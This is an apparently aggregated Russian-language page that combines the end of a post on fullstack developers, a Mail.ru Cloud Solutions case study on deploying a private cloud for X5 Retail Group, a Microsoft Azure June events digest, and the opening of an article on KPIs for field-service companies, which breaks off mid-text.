"Страсти" в этом проекте накалялись. Разработчики сутками пытались исправлять баги, про которые ежедневно менеджерам по работе с клиентами звонили клиенты. Все мы принимали еженедельно новые алгоритмы, которые полностью меняли структуру работы и максимально выводили из процесса разработчиков (я их нарисовал 5 в период 7 месяцев). Пытались максимально разгрузить разработчиков, сняли все, что можно получить временно внешними ресурсами (сайт на Битрикс, CRM и так далее). Но в итоге, это не дало нужных результатов. Спустя 2 года, я покинул проект.

И вот сейчас, находясь в поисках IT-специалистов для заказчиков, я все чаще вижу вакансию Fullstack-разработчик. Неужели компании хотят так сильно экономить, что готовы терять в качестве и времени?

Одно я понял точно и обязательно делюсь своим мнением с заказчиками (компаниями, ищущих программистов), что Fullstack-разработчик может быть полезен на самом старте. Когда нет еще инвестиций в проект и нужно максимально экономить средства. И то, в основу их работы, я бы ставил путь не дальше MVP.

Надеюсь кому-то будет полезен мой опыт. Я не в коем случае не претендую на истинность и неизменность своего мнения по отношению к Fullstack-разработчикам, но на данный момент, я думаю так как написал.

Успешных вам проектов!

Подробнее..

Как MCS и Х5 построили частное облако в энтерпрайзе, чтобы быстро получать готовые сервисы

07.06.2021 12:06:42 | Автор: admin


Castle in the sky by PiotrDura


Публичное и частное облако одного провайдера два разных продукта или одна и та же платформа, просто развернутая на разном оборудовании? На примере решения для Х5 Retail Group я, Илья Болучевский, технический директор Mail.ru Private Cloud, расскажу, в чем отличия и как построен процесс внедрения облака вендора в корпоративную инфраструктуру.


Наше частное облако, по сути, состоит из готовых компонентов, которые мы используем в нашем первом продукте публичном облаке: клиенты выбирают, что хотят забрать в свою инфраструктуру, а мы помогаем внедрить и эксплуатировать решение.


Кажется, что все просто: модульный подход, сборка из готовых компонентов, внедрение с экспертами. На самом деле частное облако никогда нельзя поставить из коробки: требуется кастомизация под корпоративные требования и интеграция с внутренними системами. Это долгий и сложный путь, который команде клиента приходится проходить вместе с нами.


В Х5 частное облако одну из самых дорогих инфраструктур выбрали, чтобы в три раза ускорить вывод новых продуктов на рынок и получить доступ к новым технологиям, не нарушая стандартов корпоративной безопасности.

Ниже о том, как двум опытным командам MCS и Х5 удалось построить гибкую облачную платформу во внутреннем контуре заказчика в предельно сжатые сроки, какие сложности и подводные камни ожидали нас на этом пути и как данное решение помогает компании достичь поставленных целей.



Почему Х5 пошли в частное облако и каких результатов достигли


Компания столкнулась с необходимостью обеспечить быстрое выделение ресурсов под внутренние проекты, а также запустить новые процессы: микросервисную разработку в новом формате, CI/CD-пайплайны на базе облака и Managed-сервисов, автоматизацию на уровне IaC.


Также на старой инфраструктуре больше времени занимало регулирование объема ресурсов под задачи, плавное наращивание мощности по мере развития проектов, управление стоимостью инфраструктуры. При запуске внутреннего проекта на старте зачастую приходилось перезакладываться по оборудованию для будущего роста, что экономически не всегда обоснованно. Также было необходимо более оперативно разворачивать тестовые среды под задачу, а потом схлопывать, сокращая потребление ресурсов. Все это сказывалось на сроке выпуска IT-продуктов компании на рынок.


Для решения этих проблем нам нужно было в сжатые сроки развернуть гибкую управляемую инфраструктуру вместе с командой Х5 Retail Group, организовать внедрение, а потом частично взять на себя эксплуатацию продукта, кастомизации, возникающие в процессе, и интеграцию новых сервисов под требования клиента.


Результаты. После внедрения облака значительно улучшились KPI: раньше ресурсы виртуализации выдавались внутренним заказчикам в течение нескольких дней, теперь за минуты. Командам компании стало удобнее запускать пилоты, среды разработки, пересоздавать их.


Также компания интегрировала с платформой собственную разработку, которая автоматизирует доступ к ресурсам для внутренних клиентов. Благодаря ей внутренние клиенты разработчики, тестировщики, проектные менеджеры получили больше прав для самостоятельной работы с сервисами. Раньше с задачами они шли в службу поддержки и заводили там заявку, которая двигалась по очереди между несколькими командами. Сейчас все работает как Self-Service: автоматически, без ручного труда. Внутренние заказчики могут выбирать сервисы, смотреть демо, рассчитывать стоимость инфраструктуры под проект, что значительно ускорило процесс согласования.


Кроме того, выгоднее стала платформа контейнеризации за счет особенностей лицензирования решения: компания внедрила Kubernetes как сервис, который построен на Open-Source-технологии. Он дает возможность внутренним заказчикам получать полноценные кластеры с возможностью автомасштабирования, что помогает гибко управлять ресурсами. Также для ряда задач в качестве платформы контейнеризации продолжают использовать OpenShift и ванильный Kubernetes.


Наше частное облако стало основой для дальнейшей автоматизации: действия на платформе можно совершать не только через UI, но и через API, что позволяет сделать слой инфраструктуры абсолютно прозрачным и работать через любые приложения.


В итоге внедрение частного облака позволило нашему клиенту ускорить Time-to-Market IT-продуктов компании. Однако достичь этого было непросто: ниже разберу, какие проблемы возникают в процессе и как мы их решаем.


Почему так сложно развернуть частное облако


Создание частного облака в существующем IT-ландшафте это как стыковка Союз Аполлон: нужно соединить две совершенно разные системы сложившуюся корпоративную и внешнюю, которую приносит провайдер частного облака. Даже имея готовые компоненты, нельзя взять публичное облако и развернуть такое же во внутреннем контуре компании, ничего не меняя. У каждой компании свои требования, требуются сложные кастомизации, интеграции и доработки.


Например, у нас в Mail.ru Cloud Solutions есть готовый Kubernetes aaS. Для Х5 Retail Group мы полностью переписали его под другую топологию сети не потому, что он чем-то плох, а потому, что корпоративное частное облако иначе работает. Фактически публичное облако приходится каждый раз частично пересоздавать под каждого клиента.


По мере наработки клиентской базы мы стали лучше работать с запросами клиентов. Большинству нужны одни и те же доработки: интеграция с ADFS, кастомизация образов, в том числе для баз данных, свои ролевые модели, SSO-интеграции. Есть уникальные требования вроде RBAC-модели по сетевым портам.


Сейчас мы понимаем, какие запросы повторяются, и добавляем в платформу новые опции. Но не все запросы имеет смысл автоматизировать то, что будет узкоспециализированным для существующих ITSM-процессов клиента, остается в обычном режиме. Такие ручные кастомизации усложняют процесс внедрения. Бывают и доработки публичного облака на основе работы с клиентом приватного так, RBAC пришел из приватного облака в наше публичное.


Другая сложность взаимодействие команд. Нужно сработать вместе: наша команда обладает компетенцией в своем продукте, Х5 компетенцией в своих системах. Нужно объединить компетенции, договариваться, чтобы достичь результата. В Х5 Retail Group работает квалифицированная команда, которая на равных участвовала в процессе интеграции и выстроила процессы работы изнутри.


На уровне взаимодействия команд могут быть подводные камни. Например, виртуализацию и облачные платформы не стоит путать, но такая путаница встречается в компаниях, которые внедряют частное облако. Любая облачная платформа отличается тем, что есть Self-Service, пулинг ресурсов. Некоторые инженеры пытаются работать с ней как с классической системой виртуализации, а далеко не все принятые в таком случае подходы применимы к облаку.


Также мы используем сильно кастомизированную платформу OpenStack, а большой энтерпрайз часто привык к VMware и похожим решениям, то есть сотрудникам надо быть готовыми администрировать новый тип платформы. OpenStack администрируется через пользовательский интерфейс иначе, чем VMware: много командной строки, конфигурационных файлов и параметров. Иногда это встречает сопротивление у компаний, которые годами использовали другие технологии. Для решения этой проблемы у нас есть обучающий курс, а также наши сотрудники постоянно в контакте с менеджерской командой клиента.


В случае с Х5 не было сложностей с взаимодействием команд, но нам пришлось реализовать много технических доработок, чтобы получить инфраструктуру в соответствии с требованиями клиента.


Какую инфраструктуру мы построили для Х5


В Х5 Retail Group сейчас развернута облачная инфраструктура с единой консолью администрирования, маркетплейсом приложений и порталом самообслуживания для внутренних заказчиков. Им доступны платформенные сервисы, в которых у компании была потребность в момент внедрения, аналогичные таким же из нашего публичного облака. Компания получила наш Kubernetes как сервис и облачные базы данных, которые прошлые платформы не предоставляли: ранее их запускали в IaaS руками, на внутренней системе виртуализации.


В состав платформы входят следующие наши сервисы:


  • инфраструктурные сервисы (IaaS) виртуальные машины в различных конфигурациях, диски, балансировщики нагрузки, настройки Firewall;
  • PaaS кластеры Kubernetes как базовая платформа контейнеризации, набор баз данных PostgreSQL, Redis, MongoDB, MySQL, чтобы внутренние заказчики могли выбрать СУБД под потребности проекта/продукта. Все сервисы адаптированы под требования информационной безопасности компании;
  • отказоустойчивые хранилища на базе CEPH с тройной репликацией данных и интеграцией с СХД клиента;
  • маркетплейс, который в X5 используют для размещения нужных внутренним заказчикам приложений.

В нашем публичном облаке реализован биллинг потребляемых ресурсов/сервисов по модели pay-as-you-go на базе платформы in-memory вычислений Tarantool. Для Х5 в него внесены изменения: в частном облаке это не биллинг оплаты провайдера, а система внутренней отчетности и планирования ресурсов. Она нужна, чтобы мониторить мощности, которые использует каждый проект, контролировать соблюдение лимитов по квотам ресурсов, формировать финансовую отчетность для точной оценки расходов по каждому проекту. Это в том числе требуется и для финансового планирования на старте проекта: использование внутренней инфраструктуры не бесплатно, подсчет расходов на нее позволяет точнее оценить ROI проекта. В такой форме решение может быть адаптировано и для других клиентов MCS.


Также у нас есть отдельный инструмент маркетплейс, это витрина с SaaS-приложениями, которые можно использовать внутри платформы. Х5 применяют его как витрину приложений для внутренних клиентов: там размещены приложения для разработки и DevOps.


Мы провели обучение для команды компании, как паковать приложения с помощью Git. Теперь специалисты Х5 Retail Group сами его наполняют приложениями, которые нужны внутренним заказчикам. По сути, идут в SaaS-историю, используя платформу как оркестратор и витрину, ориентируясь на востребованность сервисов, добавляя то, что будет использовано продуктовыми командами.


С платформой интегрирована внутренняя разработка X5, созданная инженерами компании и позволяющая автоматизировать доступ к ресурсам для внутренних клиентов. Благодаря ей и возможностям облака разработчики, тестировщики, проектные менеджеры получили больше прав для самостоятельной работы с сервисами. Раньше с задачами они шли в службу поддержки и заводили там заявку, которая двигалась по очереди между несколькими командами. Сейчас все работает как Self-Service: автоматически, без ручного труда. Где-то процессы доступа были упразднены, а где-то согласование осталось, но было автоматизировано. Внутренние заказчики могут выбирать сервисы, смотреть демо, рассчитывать стоимость инфраструктуры под проект, что значительно ускорило процесс согласования.


Чтобы получить готовое к работе частное облако, нужно пройти как минимум 10 шагов.


Какие этапы надо пройти, чтобы внедрить частное облако


Работа над проектом Х5 Retail Group до приема в эксплуатацию заняла у нас около трех месяцев: два месяца на установку и месяц на основные кастомные интеграции. На этом работа еще не закончена, мы делаем дальнейшие кастомизации. Но остальные доработки это уже работа на эксплуатируемой инфраструктуре.


Вот из каких этапов состоит процесс внедрения частного облака:


  1. Определяем бизнес-задачи первый шаг с нашей стороны: понять, что нужно бизнесу от облака, от этого зависят дальнейшие действия.
  2. Определяем ограничения они могут быть по технологиям, которые компания может использовать или нет, по информационной безопасности и по бюджету.
  3. Разрабатываем общую архитектуру решения из каких компонентов будет состоять, какие сервисы будут использованы.
  4. Выясняем специфику реализации сервисов сетевая архитектура, потребность в информационной безопасности.
  5. Прорабатываем интеграции по архитектуре интеграция состоит из двух частей: на стороне облака и на стороне целевой корпоративной системы. Здесь большая часть связана с ролевыми моделями и правами пользователей.
  6. Составляем финансовую модель биллинг, что и как считается, как это учитывать при планировании проектов.
  7. Устанавливаем и настраиваем оборудование подготовка инфраструктуры для облака. В отличие от многих провайдеров мы можем развернуть облако на оборудовании клиента, если оно подходит по параметрам. Это позволяет переиспользовать оборудование, которое освобождается после ухода от традиционной инфраструктуры.
  8. Реализуем кастомные доработки и разворачиваем решение тут, как правило, проявляется все, что не учли на предыдущих этапах, вплоть до возврата назад и переработки архитектуры решения.
  9. Проходим приемо-сдаточные испытания (ПСИ) решения и вводим его в эксплуатацию.
  10. Дорабатываем в процессе использования.

Далее расскажу про некоторые этапы подробнее. Начнем с того, как мы вместе с Х5 готовили инфраструктуру к внедрению нашей облачной платформы.


Как мы с Х5 готовились к внедрению частного облака


На этапе пресейла мы либо получаем от клиента готовое ТЗ, либо выясняем, какие у него потребности, чтобы формализовать их в рамках ТЗ. Уточняется, какая инфраструктура в наличии, какое подходящее оборудование уже есть от старой инфраструктуры, что нужно дозакупить или поставить. Вместе с клиентом рисуем Best Practice-инфраструктуру. После чего все требования формализуются в рамках ТЗ, из которого выписывается ЧТЗ частное техническое задание, то есть как будет выглядеть реализация по ТЗ.


Когда мы все согласовали и подписали контракт, начинается этап предподготовки инфраструктуры, которым занимаемся мы или клиент по нашим требованиям. В последнем случае мы тесно взаимодействуем с командой компании, как это было на проекте Х5.


Инженеры Х5 Retail Group готовили оборудование, проводили необходимую коммутацию, настраивали сеть, создавали структуры в AD, DNS, предустанавливали операционные системы под гипервизоры, выдавали деплой-ноды, создавали необходимые технические учетные записи, согласовывали доступы, настраивали интеграцию с системами ИБ, проводили кастомизацию портала самообслуживания платформы.


Команда инженеров Х5 очень оперативно сработала и создала окружение, в котором могло работать наше решение. Примерно за две недели они подготовили инфраструктуру для начала деплоя.


Теперь мы могли приступить к развертыванию нашей платформы.


Как происходило развертывание приватного облака


После того как команда Х5 подготовила инфраструктуру, в дело вступили наши инженеры.


Процесс развертывания выглядит так:


  1. Сначала мы создаем деплой-ноду это нода, с которой устанавливается все остальное облако и распределяются роли по всем остальным серверам и серверам хранения.
  2. Затем начинается деплой IaaS-части, которая позволяет запускать виртуальные машины: она включает менеджмент, гипервизоры, подсистемы хранения.
  3. Поверх нее разворачиваем PaaS: Kubernetes, базы данных, большие данные в зависимости от требования клиента по ТЗ какие-то сервисы могут быть не нужны. В Х5 мы разворачивали Kubernetes aaS и облачные СУБД.

Сейчас у нас идет речь о модульном подходе: все компоненты готовы, отработаны на публичном облаке и мы можем их передать клиенту. Такая работа по деплою IaaS и PaaS заняла у нас 45 недель.


При этом, как правило, мы не можем развернуть наши готовые сервисы в том виде, в котором они используются в публичном облаке. Их нужно доработать под потребности клиента, а это непростая задача.


Как мы дорабатываем PaaS под требования клиента


К процессу развертывания PaaS в Х5 были требования, связанные с информационной безопасностью. Также нужно было, чтобы разворачиваемый образ сразу попадал в мониторинг.


Например, у нас есть готовый запакованный сервис баз данных, который мы можем просто поставить, но внутренняя служба DB, отвечающая за эксплуатацию баз данных, просит соблюдать корпоративные стандарты. База данных должна автоматически регистрироваться в Zabbix, должен быть организован доступ для инженеров компании, на нее нужно поставить специальные версии и использовать внутренние репозитории. В этом случае наша команда PaaS полностью пересобирает исходные образы согласно требованиям это нетривиальная работа.


Другой яркий пример: PaaS при скачивании репозиториев используют наши сервисные сети, которые связаны с интернетом. В большинстве приватных облаков интернета нет, поэтому приходится переделывать сервисы так, чтобы они обращались к внутренним репозиториям. При этом надо поддерживать и обеспечивать внутренний репозиторий актуальными версиями.


К Kubernetes как сервису могут быть разные требования со стороны клиентов. Например, заранее прописанный Docker Registry или устаревшая версия Kubernetes: в публичном облаке самая младшая версия 16, можно взять 14, если компания ее использует. Для Х5 мы серьезно переделали KaaS, что было связано с особенностями топологии сети частного облака.


Такие требования к кастомизации PaaS возникают почти всегда. Когда клиент берет сервис в приватное облако, он может попросить добавить любые опции в соответствии с корпоративными требованиями.


И это не единственные доработки нашей платформы: кроме доработки PaaS, требуются и другие кастомные интеграции, которые приходится реализовать.


Какие кастомные интеграции облачной платформы необходимы для On-premises


При внедрении частного облака от нас требуется много дополнительных настроек, таких как установка всех возможных суперадминок, систем мониторинга и логирования, настройка шаблонов мониторинга и других.


Я уже говорил, что требования корпоративных клиентов редко совпадают с коробочным решением. На этом этапе мы проводим интеграции с существующими ITSM-процессами и технологиями компании: попадание виртуальных машин в DNS, интеграция с AD, кастомная пересборка образов для авторизации через их AD, кастомная сборка образов под базы данных, интеграция с CMDB, S3-хранилищем, настройка резервного копирования на наш менеджмент.


Такие интеграции отличаются у разных клиентов это кастомная работа, автоматизировать ее в большинстве случаев нельзя. В случае Х5 Retail Group также были существующие системы типа AD, CMDB, DNS и так далее, со всем этим пришлось интегрироваться.


Также был запрос по работе биллинга: публичное облако заточено под мультитенантную модель, а приватные облака сделаны так, что один отдел отвечает за утилизацию облака; нужны были специальные типовые отчеты сразу по всем тенантам, то есть проектам. Из-за этого пришлось дописывать кусок биллинга, который бы учитывал требования. То же самое связано с некоторыми лицензиями сторонних вендоров: наш биллинг заточен на одни лицензии, в Х5 используют свои виды лицензий, пришлось эту логику также переделать.


Интеграцию команда Х5 делала по принципу вызовов через API: на нашей платформе для интеграции делается вызов по определенному формату, дальше обработку вызова и реализацию специалисты компании реализуют самостоятельно, что позволяет им использовать нужные сервисы более гибко.


Эти кастомные доработки стандартные и не слишком сложные, однако на любом проекте возникают настоящие вызовы. В Х5 Retail Group таким вызовом для нас стала переделка всей сетевой топологии, частично затронувшая PaaS.


Самое сложное: переделка сетевой топологии


Для Х5 Retail Group нам пришлось переделывать всю сетевую топологию приватного облака на лету это катастрофически сложная кастомизация. В компании сеть сделана по энтерпрайз-формату, архитектура такой сети не вполне совместима с инсталляцией публичного облака.


В публичном облаке используется топология сети, позволяющая применять internal-сети внутри проектов и публикации в интернете через external-сеть, используя для этого floating IP (белые адреса).


В приватном облаке сеть выглядит иначе: она плоская, поделена на сегменты, которых нет в публичном облаке, архитектурно реализована по-другому. Любая виртуальная машина сразу попадает во Vlan, нет никаких floating IP и серых адресов, есть только блок плоских адресов.


Из-за этой топологии нам пришлось переделывать половину сервисов и половину фронта. Исчезло такое понятие, как виртуальный роутер, пришлось переделывать логику работы балансировщика как сервиса, исключать некоторые сервисы типа VPN и так далее. То есть такая простая вещь, как переделка топологии сети, повлекла за собой переделку почти половины сервисов внутри облака.


В приватном облаке, так как там нет выхода в интернет, мы указываем другие эндпоинты и репозитории, которые всю нужную информацию для запуска PaaS-сервисов содержат внутри локальной сети клиента. Мы это поддерживаем, храня всю информацию внутри частного облака, она не уходит за его периметр.


С сетевой топологией была связана и самая большая переделка нашего Kubernetes aaS. По дефолту мы создавали его во внутренних сетях с балансировкой через наш балансировщик в публичном облаке MCS, имеющий выход во внешнюю сеть. Пришлось переделать всю логику работы, потому что Kubernetes надо было создавать в плоской сети и завязывать работу балансировщика, находящегося в частной сети.


Эта кастомизация воспроизводима для других клиентов, мы умеем работать с плоской топологией, которая обычно используется в частных облаках.


Кроме доработок платформы, большую сложность представляет соблюдение требований информационной безопасности. Здесь нам тоже пришлось многое доработать и интегрировать в нашу платформу, а потом пройти проверки службы безопасности.


Как мы выполнили требования информационной безопасности клиента


Приватное облако в Х5 отчасти выбрали из-за внутренних правил ИБ. Для компании мы выполнили интеграцию с ArcSight. Это SIEM-система: управление информацией о безопасности и событиями о безопасности. Все действия, которые происходят в инфраструктуре, должны регистрироваться в ней.


Например, произошел ресайз или удаление виртуальной машины SIEM фиксирует, во сколько была удалена ВМ и каким пользователем. Такую интеграцию с ArcSight используют многие клиенты. Некоторые используют другие SIEM-системы, но у всех крупных компаний они есть.


Также мы настраивали EFK и Zabbix это базовые системы, их ставим всегда, но в этом случае накатывали не наши стандартные, а специальные шаблоны, которые требовали наши коллеги. Они покрывают более широкий охват того, что должно логироваться и мониториться.


Также сотрудники службы безопасности Х5 провели несколько раундов пентестов нашей информационной системы проверяли, как и с помощью каких обходных решений можно проникнуть в нее, какие версии ПО используются, какие порты открыты и так далее. После этого обновили все доступы по двухфакторной авторизации.


В целом после кастомизации начинается целый раунд проверок информационной безопасности, а также проверок согласно программной методике испытаний, когда проверяются все кейсы по запуску.


В проверки ПМИ входят тесты: высокая доступность (High Availability, HA), тесты отказоустойчивости, стресс-тесты выхода той или иной ноды или группы узлов, при которых все должно сохранить рабочее состояние. HA достаточно капризная, ее нам приходится долго и тонко настраивать с учетом всех кастомизаций.


Эти процессы заняли у нас много времени: месяц подготовки и проверок, потом доработки и устранение замечаний. В итоге через 2 месяца смогли предложить Х5 Retail Group решение, которое компания смогла взять в эксплуатацию, часть улучшений еще находится в процессе доработки.


Кастомные доработки сервисов и платформы первая сложность, соблюдение требований ИБ вторая, но есть еще и третья. В процессе внедрения нам еще надо преодолеть те технические ограничения, которые возникают у клиента. В случае с Х5 они были некритичными.


Технологические ограничения, которые пришлось учесть в процессе внедрения


Технологические ограничения в проекте для Х5 Retail Group были разнообразные, расскажу про пару примеров.


Например, есть ограничения, связанные с внутренней инфраструктурой. Так, процесс авторизации в виртуальных машинах привел к переписыванию многих модулей, включая наименования виртуальных машин, установлены специальные мнемонические правила: обрезка имен для регистраций, необходимость указывать имя проекта в составе имени и так далее.


Также в инфраструктуре Х5 есть ограничения по количеству используемых сетей, так как нет приватных сетей и создание любого сервиса приводит к созданию новых сетевых портов. Сильно утилизируется сеть, периодически кончаются адреса, внутренняя команда вынуждена расширять сеть либо вычищать порты.


Такие некритичные ограничения достаточно легко преодолеваются, но требуют времени, экспертности и совместной работы команд.


Итоги


После ввода проекта в эксплуатацию Х5 Retail Group увеличили скорость вывода на рынок новых продуктов. Наша команда получила бесценный опыт внедрения частного облака в энтерпрайзной коммерческой структуре и готовые решения, которые мы можем далее использовать в инфраструктурах других клиентов.


Что еще почитать:


  1. Как реализуется отказоустойчивая веб-архитектура в платформе Mail.ru Cloud Solutions.
  2. Как выбрать облачную систему хранения данных, чтобы получить лучшую производительность и оптимизировать стоимость.
  3. Наш телеграм-канал об IT-бизнесе и цифровой трансформации.
Подробнее..

4 бесплатных мероприятия по Azure в июне

01.06.2021 10:11:39 | Автор: admin

Привет, Хабр! Сегодня делимся подборкой наших крутых вебинаров и митапов по Azure в Июне. В этот раз их четыре, и один из четырех эвентов может вас заинтересовать, даже если вы не работаете с Azure: встреча разработчиков, работающих с любыми технологиями Microsoft. Присоединяйтесь!

1. Перенос локальной инфраструктуры и данных

7-8 июня, на английском с субтитрами на русском7-8 июня, на английском с субтитрами на русском

Узнайте, как спланировать миграцию в облако для локальных рабочих нагрузок, приложений и баз данных. Посетите это бесплатное обучение под руководством инструктора, предназначенное для ИТ-администраторов, системных инженеров и архитекторов. Получите руководство по оценке и оценке существующей локальной среды и получите представление о том, как переносить, защищать и управлять своими виртуальными машинами, приложениями и данными с помощью служб и инструментов Azure.

Во время мероприятия:

  • Обнаружьте и оцените рабочие нагрузки в своей среде перед миграцией с помощью Azure Migrate и других инструментов.

  • Выберите стратегию миграции, которая лучше всего соответствует вашему бизнесу и техническим потребностям.

  • Перенесите традиционные локальные рабочие нагрузки идентификации Windows Server и защитите от угроз с помощью Azure Active Directory (Azure AD), доменных служб Azure AD, Azure AD Connect и контроллеров домена Windows Server IaaS.

  • Перенесите свои локальные вычислительные нагрузки Windows Server в Azure, включая физические серверы и виртуальные машины, работающие на VMware или Windows Server Hyper-V.

  • Изучите службы баз данных SQL Azure, включая миграцию рабочих нагрузок SQL в SQL Azure, а также способы выполнения миграции в оперативном и автономном режиме.

Подробности и регистрация.

2. Основы ИИ

8 июня, на русском8 июня, на русском

Откройте для себя решения, которые можно создавать с помощью ИИ, и сервисы Azure, помогающие в разработке этих решений. Присоединяйтесь к нам на бесплатном мероприятии Microsoft Azure Virtual Training Day: основы ИИ, чтобы получить общее представление о том, что такое ИИ, и узнать, как начать работу с ИИ в Azure.

Посетите виртуальное обучающее мероприятие, чтобы:

  • Изучить основные концепции и области применения ИИ.

  • Создать прогнозные модели, не требующие написания программного кода, с помощью сервиса машинного обучения Azure.

  • Подробнее узнать о разговорном ИИ, обработке естественного языка и компьютерном зрении в Microsoft Azure.

После завершения этого бесплатного обучающего курса вы сможете сдатьсертификационный экзамен по основам Microsoft Azure AIбесплатно.

Вот, что мы вам предлагаем:

  • Введение

  • Введение в ИИ

  • Машинное обучение

  • Перерыв 10минут

  • Компьютерное зрение

  • Перерыв 10минут

  • Обработка естественного языка

  • Виртуальный собеседник

  • Завершающий сеанс вопросов и ответов

Подробности и регистрация.

3. Microsoft Developers Meetup

16 июня, на русском16 июня, на русском

Приглашаем Вас принять участие в онлайн мероприятии Microsoft Developers Meetup, посвященное технологиям в области процессов разработки и сопровождения ПО.

На мероприятии вы узнаете от лучших экспертов в области разработки о том, какие технологии предлагает GitHub и Microsoft для разработчиков и DevOpsa. Специалисты и архитекторы Microsoft покажут, как размещать в Azure приложения с использованием контейнеров, а также какие возможности имеет предлагает GitHub для обеспечения безопасной и эффективной работы команд.

Партнёры Microsoft поделятся своим опытом и практикой реализации проектов трансформации процессов разработки и улучшения качества кода. Мероприятие ориентировано на разработчиков и руководителей разработки, а также ИТ-специалистов, специалистов по безопасности и ИТ-менеджеров, которые участвуют в процессе разработки программного обеспечения, а также занимаются выведением программных продуктов на рынок.

Программа

10:00 - 10:10

Opening

10:10 - 10:30

Microsoft Dev platform roadmap and Build news Microsoft

10:30 - 11:00

AppDev on Azure + Industry case DataArt

11:00 - 11:30

GitHub news and roadmap Microsoft

11:30 - 12:00

DevOps with GitHub Actions + Industry case Softline

12:00 - 12:30

Secure DevOps and Supply chain + build updates Microsoft

12:30 - 13:00

Secure Development on Azure + Industry case AwaraIT

Подробности и регистрация: регистрация приостановлена.

4. Основы Microsoft Azure

21-22 июня, на русском21-22 июня, на русском

Чтобы представить будущее, вам необходимо понять, какие возможности перед вами и вашей организацией открывает облако сегодня. В рамках этого вводного курса День виртуального обучения Microsoft Azure: основы рассказывается о концепциях, моделях и сервисах облачных вычислений. Рассматриваются такие темы, как публичное, частное и гибридное облако, а также инфраструктура как услуга (IaaS), платформа как услуга (PaaS) и программное обеспечение как услуга (SaaS).

Во время обучения вы узнаете, как:

  • начать работать с Azure;

  • интегрировать Azure с существующими сетями;

  • улучшить понимание ключевых облачных концепций и основных сервисов, включая ценообразование, поддержку и безопасность в облаке.

После завершения этого бесплатного обучающего курса вы сможете сдатьсертификационный экзамен по основам Microsoft Azureбесплатно.

Подробности и регистрация.

Подробнее..

KPI сервиса с выездными сотрудниками какие цели ставить и как достигать?

28.05.2021 10:14:13 | Автор: admin

Каждый день к нам приходят сервисные компании, управляющие штатом мобильных сотрудников и подрядчиков, с задачами оптимизации сервисных процессов на базе нашей ИТ-платформы HubEx. Чтобы помочь определиться с целями внедрения и системно ступить на путь автоматизации сервиса, и подготовлен данный материал.

Из чего состоит сервисный процесс почти любой компании с мобильными сотрудниками

  1. Персонал: поиск, обучение и работа с персоналом

  2. Операционные процессы:

    1. диспетчеризация (приём и обработка клиентских обращений),

    2. выполнение заявок,

    3. закупка расходных материалов или запчастей,

    4. работа с подрядчиками,

    5. управление уровнем клиентского сервиса и сбор обратной связи,

    6. контроль перемещений сотрудников и контроль за расходом ГСМ

    7. в компаниях, обслуживающих оборудование, добавляется плановое обслуживание или выполнение регулярных (контрактных) работ (планирование и выполнение ППР)

Если говорить о первом шаге автоматизации в сервисных компаниях с выездным персоналом, то 25% компаний начинают автоматизацию с внедрения CRM системы, а 75% - автоматизируют работу по заявкам и контроль выездного персонала. И это не случайно, ведь операционка для b2b сервиса - это прежде всего ежедневная кропотливая работа с обращениями клиентов и их заявками.

Какие цели чаще всего ставят перед собой компании, ступившие на путь автоматизации сервиса с выездными сотрудниками?

Довольно часто руководители сервисных организаций ставят перед сервисом следующие цели:

1. снижение затрат на диспетчерскую

2. оптимизация затрат на фронт-офис персонал (сервисные специалисты)

3. снижение затрат на подрядчиков

4. снижение затрат на бэкофис, то есть административный персонал, не оказывающий сервис напрямую, но обеспечивающий бесперебойный процесс работы компании: отдел кадров, бухгалтерия, транспортный цех, отдел закупок, служба работы с подрядчиками, административный отдел, финансовая служба, тендерный отдел, служба безопасности и т.д.

В сервисе все вышеперечисленные цели можно назвать верхнеуровневыми. Они хорошо подходят как среднесрочные стратегические цели как для сервисной службы, оказывающей сервис внутри организации, так и для сервисной компании, работающей на открытом рынке. Реалистичный срок достижения таких целей - от полугода до года, а порой даже дольше. Чтобы увидеть и измерить результат за более короткий период, нужно декомпозировать цели на более узкие и научиться их измерять в интервале не более месяца.

По опыту многих сервисных организаций, если ставить среднесрочные цели и не задумываться об их декомпозиции, а также не формализовывать процесс контроля и измерения, цели остаются невыполненными.

Давайте разберем все эти цели на составляющие и определим показатели нижнего уровня (так называемые тактические цели), которые помогут достичь указанные выше среднесрочные цели

1. Цель 1: Снижение затрат на диспетчерскую и процессы диспетчеризации

Диспетчеризация в сервисе - это процесс приема обращений клиентов, регистрации заявок, обработка и распределение заявок по сотрудникам, поиск требуемого специалиста, а также контроль исполнения заявок в срок.

Прием клиентских обращений может быть автоматизированным или ручным:

Автоматизированный прием обращенийэто процесс, при котором заявки в сервисное подразделение поступают максимально пре-квалифицированными и не требуют ручной обработки для их дальнейшего назначения на сервисных специалистов. Например, в поступающей заявке уже указан объект обслуживания или даже конкретная единица оборудования. К заявке приложены фото или видео проблемы, указан вид неисправности или тип услуги и определен срок выполнения работ согласно SLA с заказчиком. То есть для назначения заявки не требуется дополнительной ее ручной обработки.

Ручной прием обращенийэто обычно телефон, мессенджеры или почта без средств автоматизации.

В большинствеслучаев, в начале пути автоматизации, процесс диспетчеризации в сервисной компании полностью ручной.

Так, для организации работы по заявке диспетчеру требуется:

  1. пообщаться с заказчиком по телефону или обработать обращение поступившее на почту / в мессенджер,

  2. зарегистрировать заявку,

  3. вручную классифицировать обращение,

  4. рассчитать срок выполнения по SLA,

  5. обзвоном найти подходящего свободного исполнителя, выбрать ближайшего с необходимыми компетенциями,

  6. договориться с клиентом о времени визита, согласовать его с исполнителем и далее проконтролировать выполнение заявки в срок

  7. После выполнения заявки - собрать с исполнителя отчет о выполненных работах и запустить процесс по оплате работ, в случае b2b сервиса и при постоплатной схеме работ

Все эти действия требуют значительных временных затрат со стороны диспетчера, руководителя сотрудника и сервисной организации целом, что не способствуют масштабированию бизнеса и увеличивает себестоимость услуг.

Автоматизация процессов диспетчерской может снизить эти расходы до 90%.

Пример: в среднем по сервисной отрасли, один диспетчер обрабатывает до 500 заявок, с учетом неравномерности их поступления. Для отказоустойчивости или приема обращений 24x7, уже требуется 3-5 диспетчеров работающих посменно. А если заявок тысячи? Количество диспетчеров растет пропорционально.

В среднем, на 20-50 мобильных (выездных) сотрудников требуется два диспетчера (даже без круглосуточной поддержки). Зарплата диспетчера сравнима с зарплатой сервисного специалиста, а значит до 10% затрат на ФОТ сервиса уходит на обслуживание процессов диспетчеризации. Это может составлять до 20% недополученной прибыли всего бизнеса.

